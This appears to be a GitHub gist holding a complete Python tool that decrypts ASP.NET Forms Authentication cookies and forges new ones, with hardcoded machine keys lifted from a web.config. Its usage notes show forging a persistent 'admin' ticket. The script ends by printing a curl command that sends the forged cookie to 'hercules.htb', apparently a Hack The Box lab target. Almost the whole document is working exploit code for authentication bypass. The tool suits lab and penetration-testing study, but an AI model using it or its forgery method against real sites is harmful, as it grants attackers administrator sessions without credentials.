Created
October 19, 2025 16:52
-
-
Save sofianeelhor/e62c457580c5dfa26a9fb22db43ecc67 to your computer and use it in GitHub Desktop.
Revisions
-
sofianeelhor created this gist
Oct 19, 2025 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,306 @@ #!/usr/bin/env python3 """ # Decrypt original cookie python ticket_tool.py decrypt 0612BC595BE85DA14751A4494CDACC202C5D62E2F601C2B3096053B941D32B2141A53D7F4AE73004F48EB62FDD68CAEBE0E930D54935C1D23368347BE090DB64ACFFF63C108EE44B8B83D8C5045CF27F4DD48C3D7E54A05DBE1F8D914E7D283E54AAAE1323C92ACFEDBE21EF749A3119A02856A21309148EF3C33E6B2215C2DDC735A21E5B6BEFCC3846812BB7FCD3F8A424567F78A432D2299388F0979EC799 # Forge admin ticket python formaspcookie.py forge admin --user-data "Admin" --persistent --expiry-min 1440 """ import argparse import binascii import hmac import hashlib import struct import sys from datetime import datetime, timedelta from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding from cryptography.hazmat.backends import default_backend import os # Default keys from web.config DEFAULT_DEC_KEY_HEX = "B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" DEFAULT_VAL_KEY_HEX = "EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" HEADER_SIZE = 32 # Purpose (20B) + salt (12B) SIG_SIZE = 32 # HMACSHA256 IV = b'\x00' * 16 PURPOSE = b'FormsAuthentication\x00\x00\x00' # Fixed for FormsAuth def ticks_to_datetime(ticks): """Convert .NET ticks (100ns since 0001-01-01) to datetime.""" epoch = datetime(1, 1, 1) return epoch + timedelta(microseconds=ticks // 10) def datetime_to_ticks(dt): """Convert datetime (UTC) to .NET ticks.""" epoch = datetime(1, 1, 1) delta = dt - epoch return int(delta.total_seconds() * 10000000) def read_7bit_string(data, pos): """Read 7-bit encoded length + UTF-16LE string.""" if pos >= len(data): return None, pos length = 0 shift = 0 while True: if pos >= len(data): return None, pos b = data[pos] pos += 1 length |= (b & 0x7F) << shift if (b & 0x80) == 0: break shift += 7 str_len = length * 2 if pos + str_len > len(data): return None, pos str_bytes = data[pos:pos + str_len] s = ''.join(chr(b1 + (b2 << 8)) for b1, b2 in zip(str_bytes[0::2], str_bytes[1::2])) pos += str_len return s, pos def write_7bit_string(s): """Write UTF-16LE string with 7-bit encoded length.""" utf16_bytes = s.encode('utf-16le') length = len(utf16_bytes) // 2 encoded_len = bytearray() temp = length while True: encoded_len.insert(0, temp & 0x7F) if temp & 0x7F == temp: break encoded_len[0] |= 0x80 temp >>= 7 return bytes(encoded_len) + utf16_bytes def decrypt_ticket(encrypted_hex, dec_key_hex, val_key_hex, verbose=False): """Decrypt and parse the ticket.""" try: cookie_bytes = binascii.unhexlify(encrypted_hex) dec_key = binascii.unhexlify(dec_key_hex) val_key = binascii.unhexlify(val_key_hex) if len(cookie_bytes) < SIG_SIZE: raise ValueError("Ticket too short for signature.") payload = cookie_bytes[:-SIG_SIZE] signature = cookie_bytes[-SIG_SIZE:] # Validate HMAC h = hmac.new(val_key, payload, hashlib.sha256) if h.digest() != signature: raise ValueError("Invalid signature!") if verbose: print("Signature valid.") # Decrypt AES-256-CBC cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend()) decryptor = cipher.decryptor() decrypted_padded = decryptor.update(payload) + decryptor.finalize() # Unpad PKCS7 unpadder = padding.PKCS7(128).unpadder() decrypted = unpadder.update(decrypted_padded) + unpadder.finalize() if verbose: print(f"Raw decrypted (hex): {binascii.hexlify(decrypted).decode()}") # Skip header if len(decrypted) < HEADER_SIZE: raise ValueError("Decrypted data too short for header.") data = decrypted[HEADER_SIZE:] # Parse binary pos = 0 if pos >= len(data) or data[pos] != 1: raise ValueError("Invalid format version (expected 0x01).") pos += 1 ticket_version = data[pos] pos += 1 if pos + 8 > len(data): raise ValueError("Truncated: issue ticks.") issue_ticks = struct.unpack('<Q', data[pos:pos+8])[0] pos += 8 if pos >= len(data) or data[pos] != 0xFE: raise ValueError("Invalid spacer (expected 0xFE).") pos += 1 if pos + 8 > len(data): raise ValueError("Truncated: expiration ticks.") expiration_ticks = struct.unpack('<Q', data[pos:pos+8])[0] pos += 8 if pos >= len(data): raise ValueError("Truncated: persistent flag.") is_persistent = bool(data[pos]) pos += 1 name, pos = read_7bit_string(data, pos) if name is None: raise ValueError("Failed to parse name.") user_data, pos = read_7bit_string(data, pos) if user_data is None: raise ValueError("Failed to parse user data.") cookie_path, pos = read_7bit_string(data, pos) if cookie_path is None: raise ValueError("Failed to parse cookie path.") if pos >= len(data) or data[pos] != 0xFF: raise ValueError("Invalid footer (expected 0xFF).") pos += 1 if pos < len(data): if verbose: print(f"Trailing bytes (hex): {binascii.hexlify(data[pos:]).decode()}") # Convert ticks issue_date = ticks_to_datetime(issue_ticks) expiration_date = ticks_to_datetime(expiration_ticks) ticket = { 'version': ticket_version, 'name': name, 'issue_date': issue_date, 'expiration_date': expiration_date, 'is_persistent': is_persistent, 'user_data': user_data, 'cookie_path': cookie_path } if verbose: print("\n--- Parsed Ticket ---") for k, v in ticket.items(): print(f"{k}: {v}") print("--- End Ticket ---") return ticket except Exception as e: print(f"Decryption failed: {e}") return None def forge_ticket(username, user_data="Web Users", is_persistent=False, expiry_minutes=10, dec_key_hex=DEFAULT_DEC_KEY_HEX, val_key_hex=DEFAULT_VAL_KEY_HEX, fixed_header_hex=None, verbose=False): """Forge a new ticket.""" dec_key = binascii.unhexlify(dec_key_hex) val_key = binascii.unhexlify(val_key_hex) # Timestamps now = datetime.utcnow() issue_ticks = datetime_to_ticks(now) exp_delta = timedelta(minutes=expiry_minutes) expiration_ticks = datetime_to_ticks(now + exp_delta) cookie_path = "/" # Serialize serialized = bytearray() serialized.append(1) # Format version serialized.append(1) # Ticket version serialized += struct.pack('<Q', issue_ticks) serialized.append(0xFE) # Spacer serialized += struct.pack('<Q', expiration_ticks) serialized.append(1 if is_persistent else 0) serialized += write_7bit_string(username) serialized += write_7bit_string(user_data) serialized += write_7bit_string(cookie_path) serialized.append(0xFF) # Footer # Header if fixed_header_hex: header = binascii.unhexlify(fixed_header_hex) if len(header) != HEADER_SIZE: raise ValueError(f"Fixed header must be {HEADER_SIZE} bytes ({HEADER_SIZE*2} hex chars).") else: salt = os.urandom(12) header = PURPOSE + salt full_serialized = header + bytes(serialized) if verbose: print(f"Header (hex): {binascii.hexlify(header).decode()}") print(f"Serialized payload (hex): {binascii.hexlify(bytes(serialized)).decode()}") # Pad padder = padding.PKCS7(128).padder() padded = padder.update(full_serialized) + padder.finalize() # Encrypt cipher = Cipher(algorithms.AES(dec_key), modes.CBC(IV), backend=default_backend()) encryptor = cipher.encryptor() encrypted = encryptor.update(padded) + encryptor.finalize() # Sign h = hmac.new(val_key, encrypted, hashlib.sha256) signature = h.digest() # Combine ticket_bytes = encrypted + signature ticket_hex = binascii.hexlify(ticket_bytes).decode().upper() if verbose: print(f"\nVerification: Decrypting forged ticket...") forged_ticket = decrypt_ticket(ticket_hex, dec_key_hex, val_key_hex, verbose=False) if forged_ticket: print("Forge verified! Parsed back:", forged_ticket['name'], forged_ticket['user_data']) else: print("Forge verification failed!") return ticket_hex def main(): parser = argparse.ArgumentParser(description="ASP.NET Forms Auth Ticket Tool") subparsers = parser.add_subparsers(dest='command', required=True) # Decrypt parser decrypt_parser = subparsers.add_parser('decrypt', help='Decrypt and parse a ticket') decrypt_parser.add_argument('encrypted_hex', help='Hex-encoded .ASPXAUTH cookie') decrypt_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys') decrypt_parser.add_argument('--verbose', action='store_true', help='Verbose output') # Forge parser forge_parser = subparsers.add_parser('forge', help='Forge a new ticket') forge_parser.add_argument('username', help='Username for the ticket') forge_parser.add_argument('--user-data', default='Web Users', help='User data/roles (default: Web Users)') forge_parser.add_argument('--persistent', action='store_true', help='Make ticket persistent') forge_parser.add_argument('--expiry-min', type=int, default=10, help='Expiry in minutes (default: 10)') forge_parser.add_argument('--keys', nargs=2, metavar=('DEC_KEY_HEX', 'VAL_KEY_HEX'), help='Override default keys') forge_parser.add_argument('--fixed-header', help=f'Fixed 32-byte header hex (for replay; default: random salt)') forge_parser.add_argument('--verbose', action='store_true', help='Verbose output') args = parser.parse_args() dec_key_hex = args.keys[0] if args.keys else DEFAULT_DEC_KEY_HEX val_key_hex = args.keys[1] if args.keys else DEFAULT_VAL_KEY_HEX if args.command == 'decrypt': ticket = decrypt_ticket(args.encrypted_hex, dec_key_hex, val_key_hex, args.verbose) if ticket: print("\nTicket fields:") for k, v in ticket.items(): print(f"{k}: {v}") elif args.command == 'forge': if args.fixed_header: fixed_header_hex = args.fixed_header else: fixed_header_hex = None ticket_hex = forge_ticket( args.username, args.user_data, args.persistent, args.expiry_min, dec_key_hex, val_key_hex, fixed_header_hex, args.verbose ) print(f"\nForged .ASPXAUTH (hex): {ticket_hex}") print(f"Cookie header: Cookie: .ASPXAUTH={ticket_hex}") print("\nUsage example (curl):") print(f"curl -H 'Cookie: .ASPXAUTH={ticket_hex}' https://hercules.htb/") if __name__ == '__main__': main()